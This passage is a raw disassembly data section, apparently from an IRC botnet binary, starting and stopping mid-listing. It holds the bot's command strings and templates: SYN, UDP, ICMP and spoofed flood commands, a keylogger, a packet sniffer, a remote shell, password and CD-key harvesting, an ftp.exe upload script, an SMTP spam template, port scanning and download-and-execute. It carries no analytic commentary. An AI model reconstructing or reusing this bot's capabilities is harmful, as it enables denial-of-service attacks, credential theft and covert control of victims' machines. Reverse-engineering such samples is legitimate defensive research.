2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_437170 db 2 ; DATA XREF: sub_40EE72+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_4371C8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411BF4o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 10h dword_437210 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_437258 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o dword_4372AC dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_4372E4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4119D3o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_437320 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o align 4 dword_437398 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o align 10h aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do align 10h unk_4373F0 db 3 ; DATA XREF: sub_40EE72+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EE72+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o align 4 aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o align 4 aP: ; DATA XREF: sub_40EE72+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo align 4 aU: ; DATA XREF: sub_40EE72+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo align 4 aAsc db 'asc',0 ; DATA XREF: sub_40EE72+27E3o aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o align 10h aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co align 10h aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo align 4 aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o align 10h aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o align 4 aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o align 10h aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo align 4 aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o align 4 aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o align 10h aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o align 10h aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do align 4 aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo align 10h aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o align 10h aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o align 10h aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o align 4 aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo align 10h aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o align 4 aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o align 10h aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo align 4 aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o dword_43773C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C9o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_437768 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C2o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_437798 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411077o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_4377C4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao align 4 dword_4377FC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410FF1o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_43782C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo align 4 aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo align 4 aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o align 4 dword_43787C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410F1Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_4378AC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 10h dword_4378E0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o unk_437930 db 2 ; DATA XREF: sub_40EE72+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_43797C db 2 ; DATA XREF: sub_40EE72+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_4379AC db 2 ; DATA XREF: sub_40EE72+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4379DC db 2 ; DATA XREF: sub_40EE72:loc_410D33o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_437A18 db 2 ; DATA XREF: sub_40EE72+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do align 10h unk_437A70 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_437AA8 db 2 ; DATA XREF: sub_40EE72+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 10h aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o ; sub_40EE72+1E94o unk_437AF4 db 2 ; DATA XREF: sub_40EE72+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h unk_437B40 db 2 ; DATA XREF: sub_40EE72+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_437B80 db 2 ; DATA XREF: sub_40EE72+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o ; sub_40EE72+1E72o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o align 4 aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo align 4 aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o ; sub_40EE72+1C9Do align 10h aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o align 4 aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo align 10h aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o align 4 aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o align 4 aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo align 10h aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do align 10h aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o align 10h aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o align 4 aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o align 4 aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo align 4 aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo align 10h aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o align 4 aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o align 10h aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_40EE72+193Do aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o align 4 aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o align 4 aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo align 4 aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o align 4 aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o align 4 aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo align 4 aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o align 4 aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o align 10h aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o align 10h aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o align 4 aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo dword_437E50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao align 10h aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o align 10h aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o align 10h aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o align 10h aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o align 10h aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o align 10h aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co align 4 aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo align 10h aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o unk_437F7C db 2 ; DATA XREF: sub_40EE72+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_437FC8 db 2 ; DATA XREF: sub_40EE72+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o align 10h aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo align 10h aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o align 10h aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o align 4 dword_438088 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_4380BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o align 4 aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao align 4 aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo align 10h aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o align 4 aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co align 4 aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o align 10h aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo align 10h aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo align 4 dword_438194 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o align 4 dword_4381BC dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o align 4 aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do align 10h aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o align 4 dword_43821C dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o dword_438238 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o dword_438244 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o dword_438250 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o dword_438260 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co dword_43826C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o dword_438278 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo dword_438288 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o dword_438294 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo dword_4382A0 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o dword_4382B0 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao dword_4382BC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o dword_4382C8 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co dword_4382D4 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o dword_4382E4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o align 4 dword_438308 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o dword_438314 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o dword_438320 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo dword_438328 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+10C2o dword_438334 dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o dword_438344 dd 6C027202h, 6E69676Fh, 